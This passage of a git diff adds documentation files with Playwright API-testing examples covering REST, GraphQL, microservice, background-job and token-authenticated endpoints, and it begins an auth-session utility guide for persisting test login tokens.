+          { productId: 'prod-1', quantity: 2, price: 29.99 },
+          { productId: 'prod-2', quantity: 1, price: 49.99 },
+        ],
+      },
+      validateSchema: OrderSchema, // Validates response matches schema
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined();
+    expect(body.status).toBe('pending');
+    expect(body.total).toBe(109.97); // 2*29.99 + 49.99
+  });
+
+  test('should handle server errors with retry', async ({ apiRequest }) => {
+    // apiRequest retries 5xx errors by default
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders/order-123',
+      retryConfig: {
+        maxRetries: 3,
+        retryDelay: 1000,
+      },
+    });
+
+    expect(status).toBe(200);
+  });
+
+  test('should list orders with pagination', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest<{ orders: Order[]; total: number; page: number }>({
+      method: 'GET',
+      path: '/api/orders',
+      params: { page: 1, limit: 10, status: 'pending' },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+    expect(body.page).toBe(1);
+  });
+});
+```
+
+**Key Points**:
+
+- Zod schema for runtime validation AND TypeScript types
+- `validateSchema` throws if response doesn't match
+- Built-in retry for transient failures
+- Type-safe `body` access
+- **Note**: If your project uses code-generated operations from an OpenAPI spec, see [Example 8](#example-8-operation-based-api-testing-openapi--code-generators) for the preferred `operation`-based overload (v3.14.0+)
+
+### Example 3: Microservice-to-Microservice Testing
+
+**Context**: Test service interactions without browser - validate API contracts between services.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-integration.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Service Integration', () => {
+  const USER_SERVICE_URL = process.env.USER_SERVICE_URL || 'http://localhost:3001';
+  const ORDER_SERVICE_URL = process.env.ORDER_SERVICE_URL || 'http://localhost:3002';
+  const INVENTORY_SERVICE_URL = process.env.INVENTORY_SERVICE_URL || 'http://localhost:3003';
+
+  test('order service should validate user exists', async ({ apiRequest }) => {
+    // Create user in user-service
+    const { body: user } = await apiRequest({
+      method: 'POST',
+      path: '/api/users',
+      baseUrl: USER_SERVICE_URL,
+      body: { name: 'Test User', email: 'test@example.com' },
+    });
+
+    // Create order in order-service (should validate user via user-service)
+    const { status, body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: user.id,
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(order.userId).toBe(user.id);
+  });
+
+  test('order service should reject invalid user', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'non-existent-user',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+      },
+    });
+
+    expect(status).toBe(400);
+    expect(body.code).toBe('INVALID_USER');
+  });
+
+  test('order should decrease inventory', async ({ apiRequest, recurse }) => {
+    // Get initial inventory
+    const { body: initialInventory } = await apiRequest({
+      method: 'GET',
+      path: '/api/inventory/prod-1',
+      baseUrl: INVENTORY_SERVICE_URL,
+    });
+
+    // Create order
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      baseUrl: ORDER_SERVICE_URL,
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 2 }],
+      },
+    });
+
+    // Poll for inventory update (eventual consistency)
+    const { body: updatedInventory } = await recurse(
+      () =>
+        apiRequest({
+          method: 'GET',
+          path: '/api/inventory/prod-1',
+          baseUrl: INVENTORY_SERVICE_URL,
+        }),
+      (response) => response.body.quantity === initialInventory.quantity - 2,
+      { timeout: 10000, interval: 500 },
+    );
+
+    expect(updatedInventory.quantity).toBe(initialInventory.quantity - 2);
+  });
+});
+```
+
+**Key Points**:
+
+- Multiple service URLs for microservice testing
+- Tests service-to-service communication
+- Uses `recurse` for eventual consistency
+- No browser needed for full integration testing
+
+### Example 4: GraphQL API Testing
+
+**Context**: Test GraphQL endpoints with queries and mutations.
+
+**Implementation**:
+
+```typescript
+// tests/api/graphql.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+const GRAPHQL_ENDPOINT = '/graphql';
+
+test.describe('GraphQL API', () => {
+  test('should query users', async ({ apiRequest }) => {
+    const query = `
+      query GetUsers($limit: Int) {
+        users(limit: $limit) {
+          id
+          name
+          email
+          role
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { limit: 10 },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.users).toHaveLength(10);
+    expect(body.data.users[0]).toHaveProperty('id');
+    expect(body.data.users[0]).toHaveProperty('name');
+  });
+
+  test('should create user via mutation', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+          name
+          email
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: 'GraphQL User',
+            email: 'graphql@example.com',
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeUndefined();
+    expect(body.data.createUser.id).toBeDefined();
+    expect(body.data.createUser.name).toBe('GraphQL User');
+  });
+
+  test('should handle GraphQL errors', async ({ apiRequest }) => {
+    const query = `
+      query GetUser($id: ID!) {
+        user(id: $id) {
+          id
+          name
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query,
+        variables: { id: 'non-existent' },
+      },
+    });
+
+    expect(status).toBe(200); // GraphQL returns 200 even for errors
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].message).toContain('not found');
+    expect(body.data.user).toBeNull();
+  });
+
+  test('should handle validation errors', async ({ apiRequest }) => {
+    const mutation = `
+      mutation CreateUser($input: CreateUserInput!) {
+        createUser(input: $input) {
+          id
+        }
+      }
+    `;
+
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: GRAPHQL_ENDPOINT,
+      body: {
+        query: mutation,
+        variables: {
+          input: {
+            name: '', // Invalid: empty name
+            email: 'invalid-email', // Invalid: bad format
+          },
+        },
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.errors).toBeDefined();
+    expect(body.errors[0].extensions.code).toBe('BAD_USER_INPUT');
+  });
+});
+```
+
+**Key Points**:
+
+- GraphQL queries and mutations via POST
+- Variables passed in request body
+- GraphQL returns 200 even for errors (check `body.errors`)
+- Test validation and business logic errors
+
+### Example 5: Database Seeding and Cleanup via API
+
+**Context**: Use API calls to set up and tear down test data without direct database access.
+
+**Implementation**:
+
+```typescript
+// tests/api/with-data-setup.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Orders with Data Setup', () => {
+  let testUser: { id: string; email: string };
+  let testProducts: Array<{ id: string; name: string; price: number }>;
+
+  test.beforeAll(async ({ request }) => {
+    // Seed user via API
+    const userResponse = await request.post('/api/users', {
+      data: {
+        name: 'Test User',
+        email: `test-${Date.now()}@example.com`,
+      },
+    });
+    testUser = await userResponse.json();
+
+    // Seed products via API
+    testProducts = [];
+    for (const product of [
+      { name: 'Widget A', price: 29.99 },
+      { name: 'Widget B', price: 49.99 },
+      { name: 'Widget C', price: 99.99 },
+    ]) {
+      const productResponse = await request.post('/api/products', {
+        data: product,
+      });
+      testProducts.push(await productResponse.json());
+    }
+  });
+
+  test.afterAll(async ({ request }) => {
+    // Cleanup via API
+    if (testUser?.id) {
+      await request.delete(`/api/users/${testUser.id}`);
+    }
+    for (const product of testProducts) {
+      await request.delete(`/api/products/${product.id}`);
+    }
+  });
+
+  test('should create order with seeded data', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [
+          { productId: testProducts[0].id, quantity: 2 },
+          { productId: testProducts[1].id, quantity: 1 },
+        ],
+      },
+    });
+
+    expect(status).toBe(201);
+    expect(body.userId).toBe(testUser.id);
+    expect(body.items).toHaveLength(2);
+    expect(body.total).toBe(2 * 29.99 + 49.99);
+  });
+
+  test('should list user orders', async ({ apiRequest }) => {
+    // Create an order first
+    await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: testUser.id,
+        items: [{ productId: testProducts[2].id, quantity: 1 }],
+      },
+    });
+
+    // List orders for user
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/orders',
+      params: { userId: testUser.id },
+    });
+
+    expect(status).toBe(200);
+    expect(body.orders.length).toBeGreaterThanOrEqual(1);
+    expect(body.orders.every((o: any) => o.userId === testUser.id)).toBe(true);
+  });
+});
+```
+
+**Key Points**:
+
+- `beforeAll`/`afterAll` for test data setup/cleanup
+- API-based seeding (no direct DB access needed)
+- Unique emails to prevent conflicts in parallel runs
+- Cleanup after all tests complete
+
+### Example 6: Background Job Testing with Recurse
+
+**Context**: Test async operations like background jobs, webhooks, and eventual consistency.
+
+**Implementation**:
+
+```typescript
+// tests/api/background-jobs.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Background Jobs', () => {
+  test('should process export job', async ({ apiRequest, recurse }) => {
+    // Trigger export job
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'users',
+        format: 'csv',
+        filters: { createdAfter: '2024-01-01' },
+      },
+    });
+
+    expect(job.id).toBeDefined();
+    expect(job.status).toBe('pending');
+
+    // Poll until job completes
+    const { body: completedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => response.body.status === 'completed',
+      {
+        timeout: 60000,
+        interval: 2000,
+        log: `Waiting for export job ${job.id} to complete`,
+      },
+    );
+
+    expect(completedJob.status).toBe('completed');
+    expect(completedJob.downloadUrl).toBeDefined();
+    expect(completedJob.recordCount).toBeGreaterThan(0);
+  });
+
+  test('should handle job failure gracefully', async ({ apiRequest, recurse }) => {
+    // Trigger job that will fail
+    const { body: job } = await apiRequest({
+      method: 'POST',
+      path: '/api/exports',
+      body: {
+        type: 'invalid-type', // This will cause failure
+        format: 'csv',
+      },
+    });
+
+    // Poll until job fails
+    const { body: failedJob } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/exports/${job.id}` }),
+      (response) => ['completed', 'failed'].includes(response.body.status),
+      { timeout: 30000 },
+    );
+
+    expect(failedJob.status).toBe('failed');
+    expect(failedJob.error).toBeDefined();
+    expect(failedJob.error.code).toBe('INVALID_EXPORT_TYPE');
+  });
+
+  test('should process webhook delivery', async ({ apiRequest, recurse }) => {
+    // Trigger action that sends webhook
+    const { body: order } = await apiRequest({
+      method: 'POST',
+      path: '/api/orders',
+      body: {
+        userId: 'user-123',
+        items: [{ productId: 'prod-1', quantity: 1 }],
+        webhookUrl: 'https://webhook.site/test-endpoint',
+      },
+    });
+
+    // Poll for webhook delivery status
+    const { body: webhookStatus } = await recurse(
+      () => apiRequest({ method: 'GET', path: `/api/webhooks/order/${order.id}` }),
+      (response) => response.body.delivered === true,
+      { timeout: 30000, interval: 1000 },
+    );
+
+    expect(webhookStatus.delivered).toBe(true);
+    expect(webhookStatus.deliveredAt).toBeDefined();
+    expect(webhookStatus.responseStatus).toBe(200);
+  });
+});
+```
+
+**Key Points**:
+
+- `recurse` for polling async operations
+- Test both success and failure scenarios
+- Configurable timeout and interval
+- Log messages for debugging
+
+### Example 7: Service Authentication (No Browser)
+
+**Context**: Test authenticated API endpoints using tokens directly - no browser login needed.
+
+**Implementation**:
+
+```typescript
+// tests/api/authenticated.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/fixtures';
+
+test.describe('Authenticated API Tests', () => {
+  let authToken: string;
+
+  test.beforeAll(async ({ request }) => {
+    // Get token via API (no browser!)
+    const response = await request.post('/api/auth/login', {
+      data: {
+        email: process.env.TEST_USER_EMAIL,
+        password: process.env.TEST_USER_PASSWORD,
+      },
+    });
+
+    const { token } = await response.json();
+    authToken = token;
+  });
+
+  test('should access protected endpoint with token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(200);
+    expect(body.email).toBe(process.env.TEST_USER_EMAIL);
+  });
+
+  test('should reject request without token', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      // No Authorization header
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('UNAUTHORIZED');
+  });
+
+  test('should reject expired token', async ({ apiRequest }) => {
+    const expiredToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...'; // Expired token
+
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/api/me',
+      headers: {
+        Authorization: `Bearer ${expiredToken}`,
+      },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('TOKEN_EXPIRED');
+  });
+
+  test('should handle role-based access', async ({ apiRequest }) => {
+    // User token (non-admin)
+    const { status } = await apiRequest({
+      method: 'GET',
+      path: '/api/admin/users',
+      headers: {
+        Authorization: `Bearer ${authToken}`,
+      },
+    });
+
+    expect(status).toBe(403); // Forbidden for non-admin
+  });
+});
+```
+
+**Key Points**:
+
+- Token obtained via API login (no browser)
+- Token reused across all tests in describe block
+- Test auth, expired tokens, and RBAC
+- Pure API testing without UI
+
+### Example 8: Operation-Based API Testing (OpenAPI / Code Generators)
+
+**Context**: When your project uses code-generated operation definitions from an OpenAPI spec, leverage the operation-based overload of `apiRequest` (v3.14.0+) instead of manual `method`/`path` extraction. This eliminates `typeof` assertions and provides full type inference for request body, response, and query parameters.
+
+**Implementation**:
+
+```typescript
+// tests/api/operations.spec.ts
+import { test, expect } from '@seontechnologies/playwright-utils/api-request/fixtures';
+
+test.describe('API Tests with Generated Operations', () => {
+  test('should create entity with full type safety', async ({ apiRequest }) => {
+    // Operation object from code generator — contains path, method, and type info
+    const { status, body } = await apiRequest({
+      operation: createEntityOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: entityInput, // Compile-time typed from operation.request
+    });
+
+    expect(status).toBe(201);
+    expect(body.id).toBeDefined(); // body typed from operation.response
+  });
+
+  test('should list with typed query parameters', async ({ apiRequest }) => {
+    // query field replaces manual string concatenation
+    const { body } = await apiRequest({
+      operation: listEntitiesOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      query: { page: 0, page_size: 10, status: 'active' },
+    });
+
+    expect(body.items).toHaveLength(10);
+    expect(body.total).toBeGreaterThan(10);
+  });
+
+  test('should poll async operation until complete', async ({ apiRequest, recurse }) => {
+    const { body: job } = await apiRequest({
+      operation: startJobOp({ workspaceId }),
+      headers: getHeaders(workspaceId),
+      body: { type: 'export' },
+    });
+
+    await recurse(
+      async () =>
+        apiRequest({
+          operation: getJobOp({ workspaceId, jobId: job.id }),
+          headers: getHeaders(workspaceId),
+        }),
+      (res) => res.body.status === 'completed',
+      { timeout: 60000, interval: 2000 },
+    );
+  });
+});
+```
+
+**Key Points**:
+
+- `operation` replaces `method` + `path` — mutually exclusive at compile time
+- Types for body, response, and query all inferred from the operation definition
+- Works with any code generator using structural typing (no imports from playwright-utils needed in generator)
+- Composable with `recurse`, `validateSchema`, and all existing `apiRequest` features
+- Preferred approach over `typeof operation.response` for generated operations
+
+## API Test Configuration
+
+### Playwright Config for API-Only Tests
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  testDir: './tests/api',
+
+  // No browser needed for API tests
+  use: {
+    baseURL: process.env.API_URL || 'http://localhost:3000',
+    extraHTTPHeaders: {
+      Accept: 'application/json',
+      'Content-Type': 'application/json',
+    },
+  },
+
+  // Faster without browser overhead
+  timeout: 30000,
+
+  // Run API tests in parallel
+  workers: 4,
+  fullyParallel: true,
+
+  // No screenshots/traces needed for API tests
+  reporter: [['html'], ['json', { outputFile: 'api-test-results.json' }]],
+});
+```
+
+### Separate API Test Project
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  projects: [
+    {
+      name: 'api',
+      testDir: './tests/api',
+      use: {
+        baseURL: process.env.API_URL,
+      },
+    },
+    {
+      name: 'e2e',
+      testDir: './tests/e2e',
+      use: {
+        baseURL: process.env.APP_URL,
+        ...devices['Desktop Chrome'],
+      },
+    },
+  ],
+});
+```
+
+## Comparison: API Tests vs E2E Tests
+
+| Aspect              | API Test               | E2E Test                    |
+| ------------------- | ---------------------- | --------------------------- |
+| **Speed**           | ~50-100ms per test     | ~2-10s per test             |
+| **Stability**       | Very stable            | More flaky (UI timing)      |
+| **Setup**           | Minimal                | Browser, context, page      |
+| **Debugging**       | Clear request/response | DOM, screenshots, traces    |
+| **Coverage**        | Service logic          | User experience             |
+| **Parallelization** | Easy (stateless)       | Complex (browser resources) |
+| **CI Cost**         | Low (no browser)       | High (browser containers)   |
+
+## Related Fragments
+
+- `api-request.md` - apiRequest utility details
+- `recurse.md` - Polling patterns for async operations
+- `auth-session.md` - Token management
+- `contract-testing.md` - Pact contract testing
+- `test-levels-framework.md` - When to use which test level
+- `data-factories.md` - Test data setup patterns
+
+## Anti-Patterns
+
+**DON'T use E2E for API validation:**
+
+```typescript
+// Bad: Testing API through UI
+test('validate user creation', async ({ page }) => {
+  await page.goto('/admin/users');
+  await page.fill('#name', 'John');
+  await page.click('#submit');
+  await expect(page.getByText('User created')).toBeVisible();
+});
+```
+
+**DO test APIs directly:**
+
+```typescript
+// Good: Direct API test
+test('validate user creation', async ({ apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/users',
+    body: { name: 'John' },
+  });
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**DON'T ignore API tests because "E2E covers it":**
+
+```typescript
+// Bad thinking: "Our E2E tests create users, so API is tested"
+// Reality: E2E tests one happy path; API tests cover edge cases
+```
+
+**DO have dedicated API test coverage:**
+
+```typescript
+// Good: Explicit API test suite
+test.describe('Users API', () => {
+  test('creates user', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles duplicate email', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('validates required fields', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('handles malformed JSON', async ({ apiRequest }) => {
+    /* ... */
+  });
+  test('rate limits requests', async ({ apiRequest }) => {
+    /* ... */
+  });
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/auth-session.md b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/auth-session.md
new file mode 100644
index 0000000..905472f
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-ci/resources/knowledge/auth-session.md
@@ -0,0 +1,548 @@
+# Auth Session Utility
+
+## Principle
+
+Persist authentication tokens to disk and reuse across test runs. Support multiple user identifiers, ephemeral authentication, and worker-specific accounts for parallel execution. Fetch tokens once, use everywhere. **Works for both API-only tests and browser tests.**
+
+## Rationale
+
+Playwright's built-in authentication works but has limitations:
+
+- Re-authenticates for every test run (slow)
+- Single user per project setup
+- No token expiration handling
+- Manual session management
+- Complex setup for multi-user scenarios
+
+The `auth-session` utility provides:
+
+- **Token persistence**: Authenticate once, reuse across runs
+- **Multi-user support**: Different user identifiers in same test suite
+- **Ephemeral auth**: On-the-fly user authentication without disk persistence
+- **Worker-specific accounts**: Parallel execution with isolated user accounts
+- **Automatic token management**: Checks validity, renews if expired
+- **Flexible provider pattern**: Adapt to any auth system (OAuth2, JWT, custom)
+- **API-first design**: Get tokens for API tests without browser overhead
+
+## Pattern Examples
+
+### Example 1: Basic Auth Session Setup
+
+**Context**: Configure global authentication that persists across test runs.
+
+**Implementation**:
+
+```typescript
+// Step 1: Configure in global-setup.ts
+import { authStorageInit, setAuthProvider, configureAuthSession, authGlobalInit } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './auth/custom-auth-provider';
+
+async function globalSetup() {
+  // Ensure storage directories exist
+  authStorageInit();
+
+  // Configure storage path
+  configureAuthSession({
+    authStoragePath: process.cwd() + '/playwright/auth-sessions',
+    debug: true,
+  });
+
+  // Set custom provider (HOW to authenticate)
+  setAuthProvider(myCustomProvider);
+
+  // Optional: pre-fetch token for default user
+  await authGlobalInit();
+}
+
+export default globalSetup;
+
+// Step 2: Create auth fixture
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import myCustomProvider from './custom-auth-provider';
+
+// Register provider early
+setAuthProvider(myCustomProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests
+test('authenticated request', async ({ authToken, request }) => {
+  const response = await request.get('/api/protected', {
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(response.ok()).toBeTruthy();
+});
+```
+
+**Key Points**:
+
+- Global setup runs once before all tests
+- Token fetched once, reused across all tests
+- Custom provider defines your auth mechanism
+- Order matters: configure, then setProvider, then init
+
+### Example 2: Multi-User Authentication
+
+**Context**: Testing with different user roles (admin, regular user, guest) in same test suite.
+
+**Implementation**:
+
+```typescript
+import { test } from '../support/auth/auth-fixture';
+
+// Option 1: Per-test user override
+test('admin actions', async ({ authToken, authOptions }) => {
+  // Override default user
+  authOptions.userIdentifier = 'admin';
+
+  const { authToken: adminToken } = await test.step('Get admin token', async () => {
+    return { authToken }; // Re-fetches with new identifier
+  });
+
+  // Use admin token
+  const response = await request.get('/api/admin/users', {
+    headers: { Authorization: `Bearer ${adminToken}` },
+  });
+});
+
+// Option 2: Parallel execution with different users
+test.describe.parallel('multi-user tests', () => {
+  test('user 1 actions', async ({ authToken }) => {
+    // Uses default user (e.g., 'user1')
+  });
+
+  test('user 2 actions', async ({ authToken, authOptions }) => {
+    authOptions.userIdentifier = 'user2';
+    // Uses different token for user2
+  });
+});
+```
+
+**Key Points**:
+
+- Override `authOptions.userIdentifier` per test
+- Tokens cached separately per user identifier
+- Parallel tests isolated with different users
+- Worker-specific accounts possible
+
+### Example 3: Ephemeral User Authentication
+
+**Context**: Create temporary test users that don't persist to disk (e.g., testing user creation flow).
+
+**Implementation**:
+
+```typescript
+import { applyUserCookiesToBrowserContext } from '@seontechnologies/playwright-utils/auth-session';
+import { createTestUser } from '../utils/user-factory';
+
+test('ephemeral user test', async ({ context, page }) => {
+  // Create temporary user (not persisted)
+  const ephemeralUser = await createTestUser({
+    role: 'admin',
+    permissions: ['delete-users'],
+  });
+
+  // Apply auth directly to browser context
+  await applyUserCookiesToBrowserContext(context, ephemeralUser);
+
+  // Page now authenticated as ephemeral user
+  await page.goto('/admin/users');
+
+  await expect(page.getByTestId('delete-user-btn')).toBeVisible();
+
+  // User and token cleaned up after test
+});
+```
+
+**Key Points**:
+
+- No disk persistence (ephemeral)
+- Apply cookies directly to context
+- Useful for testing user lifecycle
+- Clean up automatic when test ends
+
+### Example 4: Testing Multiple Users in Single Test
+
+**Context**: Testing interactions between users (messaging, sharing, collaboration features).
+
+**Implementation**:
+
+```typescript
+test('user interaction', async ({ browser }) => {
+  // User 1 context
+  const user1Context = await browser.newContext({
+    storageState: './auth-sessions/local/user1/storage-state.json',
+  });
+  const user1Page = await user1Context.newPage();
+
+  // User 2 context
+  const user2Context = await browser.newContext({
+    storageState: './auth-sessions/local/user2/storage-state.json',
+  });
+  const user2Page = await user2Context.newPage();
+
+  // User 1 sends message
+  await user1Page.goto('/messages');
+  await user1Page.fill('#message', 'Hello from user 1');
+  await user1Page.click('#send');
+
+  // User 2 receives message
+  await user2Page.goto('/messages');
+  await expect(user2Page.getByText('Hello from user 1')).toBeVisible();
+
+  // Cleanup
+  await user1Context.close();
+  await user2Context.close();
+});
+```
+
+**Key Points**:
+
+- Each user has separate browser context
+- Reference storage state files directly
+- Test real-time interactions
+- Clean up contexts after test
+
+### Example 5: Worker-Specific Accounts (Parallel Testing)
+
+**Context**: Running tests in parallel with isolated user accounts per worker to avoid conflicts.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+export default defineConfig({
+  workers: 4, // 4 parallel workers
+  use: {
+    // Each worker uses different user
+    storageState: async ({}, use, testInfo) => {
+      const workerIndex = testInfo.workerIndex;
+      const userIdentifier = `worker-${workerIndex}`;
+
+      await use(`./auth-sessions/local/${userIdentifier}/storage-state.json`);
+    },
+  },
+});
+
+// Tests run in parallel, each worker with its own user
+test('parallel test 1', async ({ page }) => {
+  // Worker 0 uses worker-0 account
+  await page.goto('/dashboard');
+});
+
+test('parallel test 2', async ({ page }) => {
+  // Worker 1 uses worker-1 account
+  await page.goto('/dashboard');
+});
+```
+
+**Key Points**:
+
+- Each worker has isolated user account
+- No conflicts in parallel execution
+- Token management automatic per worker
+- Scales to any number of workers
+
+### Example 6: Pure API Authentication (No Browser)
+
+**Context**: Get auth tokens for API-only tests using auth-session disk persistence.
+
+**Implementation**:
+
+```typescript
+// Step 1: Create API-only auth provider (no browser needed)
+// playwright/support/api-auth-provider.ts
+import { type AuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+
+const apiAuthProvider: AuthProvider = {
+  getEnvironment: (options) => options.environment || 'local',
+  getUserIdentifier: (options) => options.userIdentifier || 'api-user',
+
+  extractToken: (storageState) => {
+    // Token stored in localStorage format for disk persistence
+    const tokenEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'auth_token');
+    return tokenEntry?.value;
+  },
+
+  isTokenExpired: (storageState) => {
+    const expiryEntry = storageState.origins?.[0]?.localStorage?.find((item) => item.name === 'token_expiry');
+    if (!expiryEntry) return true;
+    return Date.now() > parseInt(expiryEntry.value, 10);
+  },
+
+  manageAuthToken: async (request, options) => {
+    const email = process.env.TEST_USER_EMAIL;
+    const password = process.env.TEST_USER_PASSWORD;
+
+    if (!email || !password) {
+      throw new Error('TEST_USER_EMAIL and TEST_USER_PASSWORD must be set');
+    }
+
+    // Pure API login - no browser!
+    const response = await request.post('/api/auth/login', {
+      data: { email, password },
+    });
+
+    if (!response.ok()) {
+      throw new Error(`Auth failed: ${response.status()}`);
+    }
+
+    const { token, expiresIn } = await response.json();
+    const expiryTime = Date.now() + expiresIn * 1000;
+
+    // Return storage state format for disk persistence
+    return {
+      cookies: [],
+      origins: [
+        {
+          origin: process.env.API_BASE_URL || 'http://localhost:3000',
+          localStorage: [
+            { name: 'auth_token', value: token },
+            { name: 'token_expiry', value: String(expiryTime) },
+          ],
+        },
+      ],
+    };
+  },
+};
+
+export default apiAuthProvider;
+
+// Step 2: Create auth fixture
+// playwright/support/fixtures.ts
+import { test as base } from '@playwright/test';
+import { createAuthFixtures, setAuthProvider } from '@seontechnologies/playwright-utils/auth-session';
+import apiAuthProvider from './api-auth-provider';
+
+setAuthProvider(apiAuthProvider);
+
+export const test = base.extend(createAuthFixtures());
+
+// Step 3: Use in tests - token persisted to disk!
+// tests/api/authenticated-api.spec.ts
+import { test } from '../support/fixtures';
+import { expect } from '@playwright/test';
+
+test('should access protected endpoint', async ({ authToken, apiRequest }) => {
+  // authToken is automatically loaded from disk or fetched if expired
+  const { status, body } = await apiRequest({
+    method: 'GET',
+    path: '/api/me',
+    headers: { Authorization: `Bearer ${authToken}` },
+  });
+
+  expect(status).toBe(200);
+});
+
+test('should create resource with auth', async ({ authToken, apiRequest }) => {
+  const { status, body } = await apiRequest({
+    method: 'POST',
+    path: '/api/orders',
+    headers: { Authorization: `Bearer ${authToken}` },
+    body: { items: [{ productId: 'prod-1', quantity: 2 }] },
+  });
+
+  expect(status).toBe(201);
+  expect(body.id).toBeDefined();
+});
+```
+
+**Key Points**:
+
+- Token persisted to disk (not in-memory) - survives test reruns
+- Provider fetches token once, reuses until expired
+- Pure API authentication - no browser context needed
+- `authToken` fixture handles disk read/write automatically
+- Environment variables validated with clear error message
+
+### Example 7: Service-to-Service Authentication
+
+**Context**: Test microservice authentication patterns (API keys, service tokens) with proper environment validation.
+
+**Implementation**:
+
+```typescript
+// tests/api/service-auth.spec.ts
+import { test as base, expect } from '@playwright/test';
+import { test as apiFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { mergeTests } from '@playwright/test';
+
+// Validate environment variables at module load
+const SERVICE_API_KEY = process.env.SERVICE_API_KEY;
+const INTERNAL_SERVICE_URL = process.env.INTERNAL_SERVICE_URL;
+
+if (!SERVICE_API_KEY) {
+  throw new Error('SERVICE_API_KEY environment variable is required');
+}
+if (!INTERNAL_SERVICE_URL) {
+  throw new Error('INTERNAL_SERVICE_URL environment variable is required');
+}
+
+const test = mergeTests(base, apiFixture);
+
+test.describe('Service-to-Service Auth', () => {
+  test('should authenticate with API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': SERVICE_API_KEY },
+    });
+
+    expect(status).toBe(200);
+    expect(body.status).toBe('healthy');
+  });
+
+  test('should reject invalid API key', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'GET',
+      path: '/internal/health',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: { 'X-API-Key': 'invalid-key' },
+    });
+
+    expect(status).toBe(401);
+    expect(body.code).toBe('INVALID_API_KEY');
+  });
+
+  test('should call downstream service with propagated auth', async ({ apiRequest }) => {
+    const { status, body } = await apiRequest({
+      method: 'POST',
+      path: '/internal/aggregate-data',
+      baseUrl: INTERNAL_SERVICE_URL,
+      headers: {
